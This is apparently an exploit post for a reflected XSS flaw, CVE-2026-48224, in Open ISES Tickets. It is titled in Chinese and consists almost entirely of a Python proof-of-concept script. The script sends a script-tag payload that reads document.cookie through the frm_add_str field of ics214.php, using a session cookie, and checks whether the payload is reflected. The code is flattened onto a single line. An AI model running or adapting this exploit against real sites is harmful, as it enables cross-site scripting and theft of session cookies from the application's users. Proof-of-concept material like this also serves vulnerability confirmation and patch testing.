CVE-2026-48224: Open ISES Tickets反射型XSS漏洞

import requests # Target configuration target = "http://example.com/ics214.php" session_cookie = "valid_session_cookie_here" # Malicious payload demonstrating the injection xss_payload = '"><script>alert(document.cookie)</script>' # Data to be sent via POST request post_data = { "frm_add_str": xss_payload } # Headers to mimic a browser headers = { "Content-Type": "application/x-www-form-urlencoded", "Cookie": f"PHPSESSID={session_cookie}" } try: # Sending the malicious request response = requests.post(target, data=post_data, headers=headers) # Checking if the payload is reflected in the response if xss_payload in response.text: print("[+] Vulnerability confirmed: Payload reflected in response.") else: print("[-] Vulnerability not detected or payload modified.") except Exception as e: print(f"Error: {e}")